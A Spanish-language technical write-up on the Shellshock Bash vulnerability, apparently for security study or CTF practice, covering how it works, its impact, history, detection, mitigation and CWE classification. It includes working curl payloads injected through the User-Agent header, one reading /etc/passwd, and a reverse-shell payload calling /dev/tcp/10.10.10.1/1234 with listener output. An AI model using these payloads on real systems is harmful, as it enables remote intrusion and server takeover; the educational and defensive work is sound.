1. Descripción técnica del ataque
Shellshock (también conocido como Bashdoor) es una familia de vulnerabilidades en el intérprete GNU Bash que permite ejecución remota de comandos (RCE). El fallo reside en la forma en que Bash procesa las variables de entorno que contienen definiciones de funciones.
Bash permite exportar funciones a través de variables de entorno con una sintaxis del tipo:
env x='() { :; }; echo vulnerable' bash -c "echo test"El problema es que las versiones afectadas no dejan de interpretar la variable al terminar la definición de la función: cualquier código colocado después del cierre } se ejecuta inmediatamente al iniciar Bash. En el ejemplo anterior, una máquina vulnerable imprimirá vulnerable.
Esto se vuelve crítico cuando un servicio remoto vuelca datos controlados por el atacante en variables de entorno y luego invoca Bash. El vector más explotado es CGI sobre Apache (mod_cgi / mod_cgid): el servidor copia las cabeceras HTTP (User-Agent, Referer, Cookie, etc.) a variables de entorno (HTTP_USER_AGENT, ...) antes de ejecutar el script CGI. Si ese script invoca Bash, el payload se ejecuta.
curl -H "User-Agent: () { :; }; echo;echo; /bin/bash -c 'id'" http://target/cgi-bin/script.sh2. Impacto de la vulnerabilidad
- Ejecución remota de comandos sin autenticación contra cualquier servicio que pase datos del atacante al entorno de Bash.
- Compromiso total del servidor (típicamente como el usuario del servicio web, ej.
www-data), que suele ser el primer paso para una escalada de privilegios. - Superficie de ataque enorme por su ubicuidad: además de CGI, se vio explotable a través de clientes DHCP, OpenSSH con
ForceCommand, scripts de correo (qmail) y otros servicios que invocan Bash con variables de entorno controladas.
3. Historia y evolución
- 24 de septiembre de 2014: Stéphane Chazelas reporta el fallo, publicado como CVE-2014-6271. La gravedad y facilidad de explotación lo convierten en uno de los bugs más mediáticos de la década, comparable a Heartbleed.
- Los primeros parches resultaron incompletos, lo que dio lugar a una cadena de CVEs adicionales: CVE-2014-7169, CVE-2014-6277, CVE-2014-6278, CVE-2014-7186 y CVE-2014-7187.
- En cuestión de horas se observaron botnets escaneando masivamente Internet en busca de endpoints CGI vulnerables.
4. Factores que la hacen posible
- Una versión vulnerable de Bash (anterior a los parches de septiembre de 2014).
- Un servicio que traslada entrada del atacante a variables de entorno (cabeceras HTTP, parámetros DHCP, etc.).
- Que ese servicio invoque
/bin/bash(directa o indirectamente, por ejemplo un script CGI con shebang#!/bin/basho que llame asystem()/popen()).
5. Detección
- Manual: localizar scripts en
/cgi-bin/(condirb,gobuster,feroxbuster) e inyectar el payload de prueba en una cabecera:
curl -H "User-Agent: () { :; }; echo; echo; /bin/cat /etc/passwd" http://target/cgi-bin/script.sh- Nmap: existe un script dedicado:
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/script.sh target- Herramientas: shellshocker, Metasploit (
exploit/multi/http/apache_mod_cgi_bash_env_exec), y escáneres como Nikto. - Comprobación local del binario:
env x='() { :; }; echo vulnerable' bash -c "echo test"6. Mitigación
- Actualizar Bash a una versión parcheada (la solución definitiva).
- Deshabilitar CGI o migrar los scripts a un intérprete no afectado si no se requiere Bash.
- No invocar Bash desde servicios expuestos ni pasar entrada no confiable al entorno.
- Usar un WAF para filtrar cabeceras que contengan el patrón
() {como mitigación temporal. - Aplicar defensa en profundidad: ejecutar los servicios web con el mínimo privilegio y aislarlos (chroot/contenedores).
7. Ejemplo de explotación real
Tras identificar un script CGI vulnerable, se obtiene una reverse shell inyectando el payload en User-Agent:
curl -H "User-Agent: () { :; }; echo;echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.1/1234 0>&1'" http://target/cgi-bin/shell.shEn la máquina atacante, a la escucha:
❯ ncat -nlvp 1234
Ncat: Connection from target
bash-4.3$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)8. Clasificación
- Tipo: Command Injection / Remote Code Execution
- CVE: CVE-2014-6271 (y derivados 7169, 6277, 6278, 7186, 7187)
- CWE:
- CWE-78 – Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
9. Resumen
Shellshock es un fallo crítico de GNU Bash que ejecuta código colocado tras una definición de función en una variable de entorno. Cuando un servicio expuesto (clásicamente CGI sobre Apache) traslada entrada del atacante al entorno y luego invoca Bash, se convierte en RCE remoto y sin autenticación. La mitigación definitiva es actualizar Bash; en CTFs sigue siendo un vector habitual en servidores legacy con scripts en /cgi-bin/.